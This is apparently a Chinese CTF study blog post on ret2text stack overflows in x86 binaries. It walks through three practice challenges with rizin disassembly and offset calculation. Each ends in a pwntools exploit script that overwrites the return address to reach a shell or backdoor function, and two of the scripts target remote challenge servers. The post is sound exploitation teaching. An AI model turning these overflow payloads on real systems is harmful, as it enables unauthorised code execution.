Pwn ret2text in x86
原理
ret2text 的意思是返回到特定代码段.
程序被装载后, 在(虚拟)内存中是这样的:

调用一个函数的时候, 内存中栈上的数据是这样排列的:

其中, 返回地址 指的是函数执行完成之后, 要执行的下一条指令的地址.
可以看到, 栈是从高位向低位增长的, 而数组是从低位向高位填充的. 也就是说, 如果 数组越界 不加处理, 我们可以 覆盖掉返回地址, 从而控制程序的运行.
然而, 在开启了 栈不可执行保护 的程序中, 我们不能够在栈中写入 shellcode, 覆盖掉返回地址一般来说是程序代码段中的内容.
x86 汇编指令
咕
call
指令先 push
下一个命令的地址(返回地址), 再 jmp
.
leave
是恢复上一个栈桢, ret
是 pop eip
.
中括号表示取地址所指向的内存.
x86 函数调用栈
咕
注意, 参数压栈有两种形式, 一种是遇到一个就 push
一次. 另一种是先 sub esp
大一点, 然后填充 mov [esp + n], x
, 作为参数.
这两种最后的结果是一样的, 而第二种在多次调用函数的时候, 可以减少 push
的次数, 提高性能. 要看出来这种赋值也是压栈.
学习资料
- CTF Wiki 栈溢出原理
- CTF Wiki 基本 ROP
- C 语言函数调用栈 (一) & C 语言函数调用栈 (二)
- x86架构 函数调用栈过程简述 Orz Humoooor
例题
CTF Wiki ret2text
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2text
rizin ret2text
aaa
iI
可以看到一些信息, 这里摘取最主要的信息
arch x86
bintype elf
bits 32
endian LE
relro partial
canary false
PIE false
NX true
x86 架构, elf 格式, 32 位, 小端序. 没有栈保护 (canary), 没有地址无关可执行 (PIE), 部分重定位只读 (relro), 栈不可执行 (NX).
栈地址没有可执行权限, 不能直接输入 shellcode 到栈上然后执行它. 没有 canary 就方便了我们直接覆盖返回地址. relro 暂时用不到. 没有 PIE, 程序每次装载的地址都是固定的, 这也方便了我们定位需要执行的指令.
afl
查看函数:
0x08048500 1 33 entry0
0x080484c0 1 6 sym.imp.__libc_start_main
0x08048540 4 42 sym.deregister_tm_clones
0x08048570 4 55 sym.register_tm_clones
0x080485b0 3 30 sym.__do_global_dtors_aux
0x080485d0 4 45 -> 44 entry.init0
0x08048740 1 2 sym.__libc_csu_fini
0x08048530 1 4 sym.__x86.get_pc_thunk.bx
0x08048744 1 20 sym._fini
0x080485fd 3 75 dbg.secure
0x08048470 1 6 sym.imp.time
0x080484b0 1 6 sym.imp.srand
0x080484e0 1 6 sym.imp.rand
0x080484f0 1 6 sym.imp.__isoc99_scanf
0x08048490 1 6 sym.imp.system
0x080486d0 4 97 sym.__libc_csu_init
0x08048648 1 126 dbg.main
0x080484d0 1 6 sym.imp.setvbuf
0x08048480 1 6 sym.imp.puts
0x08048460 1 6 sym.imp.gets
0x08048450 1 6 sym.imp.printf
0x0804841c 3 35 sym._init
0x080484a0 1 6 loc.imp.__gmon_start
可以看到, 除了系统函数之外, 有两个函数: main 和 secure. 定位到 main, 反编译一下:
s main
pdg
undefined4 dbg.main(void)
{
undefined auStack116 [112];
// int main();
sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
sym.imp.setvbuf(_reloc.stdin, 0, 1, 0);
sym.imp.puts("There is something amazing here, do you know anything?");
sym.imp.gets(auStack116);
sym.imp.printf("Maybe I will tell you next time !");
return 0;
}
很明显, 这里调用了 gets
函数. gets
不会检查读入的大小, 所以程序存在栈溢出漏洞.
然后看看我们能够利用什么. 定位到 secure 函数, 查看反编译代码
s secure
pdg
void dbg.secure(void)
{
undefined4 uVar1;
int32_t var_10h;
int32_t var_ch;
int input;
int secretcode;
// void secure();
uVar1 = sym.imp.time(0);
sym.imp.srand(uVar1);
var_ch = sym.imp.rand();
sym.imp.__isoc99_scanf(0x8048760, &var_10h);
if (var_10h == var_ch) {
sym.imp.system("/bin/sh");
}
return;
}
可以发现, 这里执行了 system("/bin/sh")
, 那么可以利用栈溢出, 覆盖 main 函数的返回地址, 到 system("/bin/sh")
这条语句的地方.
先 pdf
查看反汇编, 记录下这条语句的地址, 为 0x0804863a (注意要从传参开始)
;-- secure:
┌ dbg.secure ();
│ ; var int32_t var_10h @ ebp-0x10
│ ; var uintptr_t var_ch @ ebp-0xc
│ ; var int input @ ebp-0x8
│ ; var int secretcode @ ebp-0x4
│ ; var int32_t var_4h @ esp+0x4
│ 0x080485fd push ebp ; ret2text.c:6 ; void secure();
│ 0x080485fe mov ebp, esp
│ 0x08048600 sub esp, 0x28
│ 0x08048603 mov dword [esp], 0 ; ret2text.c:8 ; time_t *timer
│ 0x0804860a call sym.imp.time ; time_t time(time_t *timer)
│ 0x0804860f mov dword [esp], eax ; int seed
│ 0x08048612 call sym.imp.srand ; void srand(int seed)
│ 0x08048617 call sym.imp.rand ; ret2text.c:10 ; int rand(void)
│ 0x0804861c mov dword [var_ch], eax
│ 0x0804861f lea eax, [var_10h] ; ret2text.c:11
│ 0x08048622 mov dword [var_4h], eax
│ 0x08048626 mov dword [esp], 0x8048760 ; [0x8048760:4]=0x2f006425 ; const char *format
│ 0x0804862d call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x08048632 mov eax, dword [var_10h] ; ret2text.c:12
│ 0x08048635 cmp eax, dword [var_ch]
│ ┌─< 0x08048638 jne 0x8048646
│ │ 0x0804863a mov dword [esp], str.bin_sh ; ret2text.c:13 ; [0x8048763:4]=0x6e69622f ; "/bin/sh" ; const char *string
│ │ 0x08048641 call sym.imp.system ; int system(const char *string)
│ └─> 0x08048646 leave ; ret2text.c:14
└ 0x08048647 ret
然后去 mian 函数, 计算如何构造输入, 才能覆盖掉返回地址.
pdf
查看反汇编代码:
; DATA XREF from entry0 @ 0x8048517
;-- main:
┌ int dbg.main (int argc, char **argv, char **envp);
│ ; var char *buf @ esp+0x4
│ ; var int mode @ esp+0x8
│ ; var size_t size @ esp+0xc
│ ; var char *s @ esp+0x1c
│ 0x08048648 push ebp ; ret2text.c:17 ; int main();
│ 0x08048649 mov ebp, esp
│ 0x0804864b and esp, 0xfffffff0
│ 0x0804864e add esp, 0xffffff80
│ 0x08048651 mov eax, dword [obj.stdout] ; ret2text.c:18 ; obj.stdout__GLIBC_2.0
│ ; [0x804a060:4]=0
│ 0x08048656 mov dword [size], 0 ; size_t size
│ 0x0804865e mov dword [mode], 2 ; int mode
│ 0x08048666 mov dword [buf], 0 ; char *buf
│ 0x0804866e mov dword [esp], eax ; FILE *stream
│ 0x08048671 call sym.imp.setvbuf ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
│ 0x08048676 mov eax, dword [obj.stdin] ; ret2text.c:19 ; obj.__TMC_END
│ ; [0x804a040:4]=0
│ 0x0804867b mov dword [size], 0 ; size_t size
│ 0x08048683 mov dword [mode], 1 ; int mode
│ 0x0804868b mov dword [buf], 0 ; char *buf
│ 0x08048693 mov dword [esp], eax ; FILE *stream
│ 0x08048696 call sym.imp.setvbuf ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
│ 0x0804869b mov dword [esp], str.There_is_something_amazing_here__do_you_know_anything ; ret2text.c:23 ; [0x804876c:4]=0x72656854 ; "There is something amazing here, do you know anything?" ; const char *s
│ 0x080486a2 call sym.imp.puts ; int puts(const char *s)
│ 0x080486a7 lea eax, [s] ; ret2text.c:24
│ 0x080486ab mov dword [esp], eax ; char *s
│ 0x080486ae call sym.imp.gets ; char *gets(char *s)
│ 0x080486b3 mov dword [esp], str.Maybe_I_will_tell_you_next_time ; ret2text.c:25 ; [0x80487a4:4]=0x6279614d ; "Maybe I will tell you next time !" ; const char *format
│ 0x080486ba call sym.imp.printf ; int printf(const char *format)
│ 0x080486bf mov eax, 0 ; ret2text.c:27
│ 0x080486c4 leave ; ret2text.c:28
└ 0x080486c5 ret
可以看到, 字符串 s 定义在了 esp + 0x1c 的地方. 返回地址在 ebp + 4, 所以要覆盖它, 需要知道 s 到 ebp 的距离.
0x08048648 push ebp ; ret2text.c:17 ; int main();
0x08048649 mov ebp, esp
0x0804864b and esp, 0xfffffff0
0x0804864e add esp, 0xffffff80
这几条指令就是压栈了, 之后 esp 和 ebp 都没动过. 所以我们可以从这里算出 esp 到 ebp 的距离, 在根据 s 在 esp + 0x1c, 计算出 s 到 ebp 的距离. 但是这里比较难受的一点是, 有一个奇怪的 and
. 可能是因为每次地址都固定, 然后编译器优化了一下代码, 就变成这样了…
所以需要调试一下, 就知道距离了.
退出 rizin, 用 rizin -d
开启调试. 在 0x08048651 下个断点, 然后运行, 进入可视化模式查看寄存器的值:
rizin -d ret2text
aaa
db 0x08048651
dc
v

可以看到 esp 的值是 0xffefb370, ebp 的值是 0xffefb3f8. ebp = esp + 0x88. 又因为 s = esp + 0x1c, 所以 s = ebp + 0x6c.
然后 ebp + 4 才是返回地址, 所以我们需要先填充掉 0x6c+0x4 个字节, 然后再输入想要跳转到的地址.
exp 如下:
from pwn import *
p = process('./ret2text')
system_bin_sh = 0x804863a
payload = b'a' * (0x6c + 0x4) + p32(system_bin_sh)
p.sendline(payload)
p.interactive()
我们可以用 rizin 动态调试进程的方式查看一下栈上的数据:

可以看到, ebp (0xfffa6db8) 这个地方的数据已经被填充为了 0x61616161. 而 ebp + 4 这个地方, 也就是 main 函数调用之前的返回地址, 已经被覆盖成了 0x0804863a (注意小端序).
继续单步运行, 运行完 leave
指令后, esp 变成了 ebp 的值, 也就是恢复上一个栈帧的栈顶, 而 ebp 变成了 0x61616161, 因为是 pop ebp 是从栈上取的数据, 而栈上的数据被覆盖掉了. 现在栈顶元素就是返回地址, 可以看到, 覆盖成功了:

运行完 ret
指令后, 程序就已经跳转到我们指向的这个地方, 运行了 system("/bin/sh")

接下来的例题就没有这么详细了.
BugKu pwn2
https://ctf.bugku.com/challenges/detail/id/97.html
iI
, x86 架构, 64 位 elf 文件, 啥保护都没开.
aaa
分析后 afl
查看函数, 发现有一个 sys.get_shell
, s sym.get_shell
并 pdg
:
void sym.get_shell(void)
{
sym.imp.puts("tql~tql~tql~tql~tql~tql~tql");
sym.imp.puts("this is your flag!");
sym.imp.system("cat flag");
return;
}
发现是个后门函数, 其中执行了 system("cat flag")
.
s main
并 pdg
:
undefined8 main(void)
{
void *buf;
sym.imp.memset(&buf, 0, 0x30);
sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
sym.imp.setvbuf(_reloc.stdin, 0, 1, 0);
sym.imp.puts("say something?");
sym.imp.read(0, &buf, 0x100);
sym.imp.puts("oh,that\'s so boring!");
return 0;
}
发现 read
函数.
pdf
:
; DATA XREF from entry0 @ 0x4005ed
┌ int main (int argc, char **argv, char **envp);
│ ; var void *buf @ rbp-0x30
│ 0x004006c6 push rbp
│ 0x004006c7 mov rbp, rsp
│ 0x004006ca sub rsp, 0x30
│ 0x004006ce lea rax, [buf]
│ 0x004006d2 mov edx, 0x30 ; '0' ; 48 ; size_t n
│ 0x004006d7 mov esi, 0 ; int c
│ 0x004006dc mov rdi, rax ; void *s
│ 0x004006df call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x004006e4 mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
│ ; [0x601060:8]=0
│ 0x004006eb mov ecx, 0 ; size_t size
│ 0x004006f0 mov edx, 2 ; int mode
│ 0x004006f5 mov esi, 0 ; char *buf
│ 0x004006fa mov rdi, rax ; FILE *stream
│ 0x004006fd call sym.imp.setvbuf ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
│ 0x00400702 mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x601070:8]=0
│ 0x00400709 mov ecx, 0 ; size_t size
│ 0x0040070e mov edx, 1 ; int mode
│ 0x00400713 mov esi, 0 ; char *buf
│ 0x00400718 mov rdi, rax ; FILE *stream
│ 0x0040071b call sym.imp.setvbuf ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
│ 0x00400720 mov edi, str.say_something ; 0x400804 ; "say something?" ; const char *s
│ 0x00400725 call sym.imp.puts ; int puts(const char *s)
│ 0x0040072a lea rax, [buf]
│ 0x0040072e mov edx, 0x100 ; 256 ; size_t nbyte
│ 0x00400733 mov rsi, rax ; void *buf
│ 0x00400736 mov edi, 0 ; int fildes
│ 0x0040073b call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00400740 mov edi, str.oh_that_s_so_boring ; 0x400813 ; "oh,that's so boring!" ; const char *s
│ 0x00400745 call sym.imp.puts ; int puts(const char *s)
│ 0x0040074a mov eax, 0
│ 0x0040074f leave
└ 0x00400750 ret
发现 buf
数组定义在 rbp - 0x30 处, 并且 main 函数一共开辟了 0x30 的空间. 而 read
函数给的长度是 0x100, 存在栈溢出漏洞. 只需要把 main 的返回地址覆盖成后门函数所在地址 0x00400751 即可. 所以先填满开辟出来的栈空间 0x30, 然后填 8 个字节 (64位) 覆盖栈上的 rbp, 最后覆盖返回地址.
exp 如下:
from pwn import *
# p = process('./pwn2')
r = remote("114.67.175.224", 13973)
get_shell = 0x00400751
payload = b'a' * (0x30 + 0x8) + p64(get_shell)
r.sendline(payload)
xctf int_overflow
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1
rizin 打开, aaa
分析 iI
查看信息: x86 架构 32 位小端序. 仅开启栈不可执行.
afl
, 发现 0x0804868b 处有个后门函数 what_is_this
, s sym.what_is_this
, pdg
:
void sym.what_is_this(void)
{
sym.imp.system("cat flag");
return;
}
s main; pdg
查看 main:
undefined4 main(void)
{
char **ppcVar1;
char *pcStack48;
int32_t *piStack44;
undefined4 uStack36;
undefined auStack32 [12];
int32_t iStack20;
int32_t var_ch;
undefined *puStack12;
int32_t var_4h;
puStack12 = &stack0x00000004;
piStack44 = (int32_t *)0x0;
pcStack48 = _reloc.stdin;
sym.imp.setbuf();
piStack44 = (int32_t *)0x0;
pcStack48 = _reloc.stdout;
sym.imp.setbuf();
piStack44 = (int32_t *)0x0;
pcStack48 = _reloc.stderr;
sym.imp.setbuf();
pcStack48 = "---------------------";
sym.imp.puts();
pcStack48 = "~~ Welcome to CTF! ~~";
sym.imp.puts();
pcStack48 = " 1.Login ";
sym.imp.puts();
pcStack48 = " 2.Exit ";
sym.imp.puts();
pcStack48 = "---------------------";
sym.imp.puts();
pcStack48 = "Your choice:";
sym.imp.printf();
piStack44 = &iStack20;
pcStack48 = "%d";
sym.imp.__isoc99_scanf();
ppcVar1 = (char **)auStack32;
if (iStack20 == 1) {
uStack36 = 0x804889c;
sym.login();
} else {
if (iStack20 == 2) {
pcStack48 = "Bye~";
sym.imp.puts();
pcStack48 = (char *)0x0;
sym.imp.exit();
ppcVar1 = &pcStack48;
}
*(char **)((int32_t)ppcVar1 + -0x10) = "Invalid Choice!";
*(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x80488c5;
sym.imp.puts();
}
return 0;
}
发现输入 1 之后跳转到 login
函数, s sym.login; pdg
:
void sym.login(void)
{
void *var_228h;
char *buf;
sym.imp.memset(&buf, 0, 0x20);
sym.imp.memset(&var_228h, 0, 0x200);
sym.imp.puts("Please input your username:");
sym.imp.read(0, &buf, 0x19);
sym.imp.printf("Hello %s\n", &buf);
sym.imp.puts("Please input your passwd:");
sym.imp.read(0, &var_228h, 0x199);
sym.check_passwd((char *)&var_228h);
return;
}
读入用户名和密码, 这里边界正确, 并没有栈溢出. 发现最后调用了 check_passwd
, s sym.check_passwd; pdg
:
void sym.check_passwd(char *src)
{
char *dest;
unsigned long var_9h;
var_9h._0_1_ = sym.imp.strlen(src);
if (((uint8_t)var_9h < 4) || (8 < (uint8_t)var_9h)) {
sym.imp.puts("Invalid Password");
sym.imp.fflush(_reloc.stdout);
} else {
sym.imp.puts("Success");
sym.imp.fflush(_reloc.stdout);
sym.imp.strcpy(&dest, src);
}
return;
}
可以看到, success 之后, 有一个 strcpy
函数. pdf
查看汇编, 检查 dest
到 ebp 的距离.
...
; var char *dest @ ebp-0x14
...
dest
只需要 0x14 就可以填到 ebp, 而参数 src
在传进来的时候, 最大长度是 0x199. 也就是说, 这里存在栈溢出.
这题还涉及到整型溢出, 不讲, var_9h
是 8 位的, 而判断的时候, 转换成了无符号 8 位整数. 所以可以构造输入长度到 0x104. 测试一下, 输入 0x104 个字节, 发现输出 Success.
而填充到 ebp 需要 0x14 字节, ebp 占 4 字节, 返回地址占 4 字节, 也就是说, 还得再输入 0xe8 个字节. 只需要保证返回地址是我们想要的那个, 栈上的其他数据都无所谓, 所以输入长一点填点东西也没关系.
exp 如下:
from pwn import *
# p = process('./int')
r = remote('111.200.241.244', 51620)
backdoor = 0x0804868b
payload = b'a' * (0x14 + 0x04) + p32(backdoor) + b'a' * 0xe8
r.recvuntil(b"Your choice:")
r.sendline(b"1")
r.recvuntil("Please input your username:")
r.sendline(b"Wings")
r.recvuntil(b"Please input your passwd:")
r.sendline(payload)
r.interactive()
总结
不写了, 三题差不多了.
这种题比较简单, 给出了 system("/bin/sh")
. 所以步骤也很简单, 首先检查程序的基本信息, 尤其注意各个保护是否开启. 当没有开启 canary 和 PIE, 并且存在 system("/bin/sh")
之类的可以直接泄漏 flag 的函数, 那么很可能就是 ret2text 了. 找可能有的缓存区溢出漏洞, 计算写入的数据到 ebp / rbp 的距离, 然后覆盖返回地址到后门函数即可.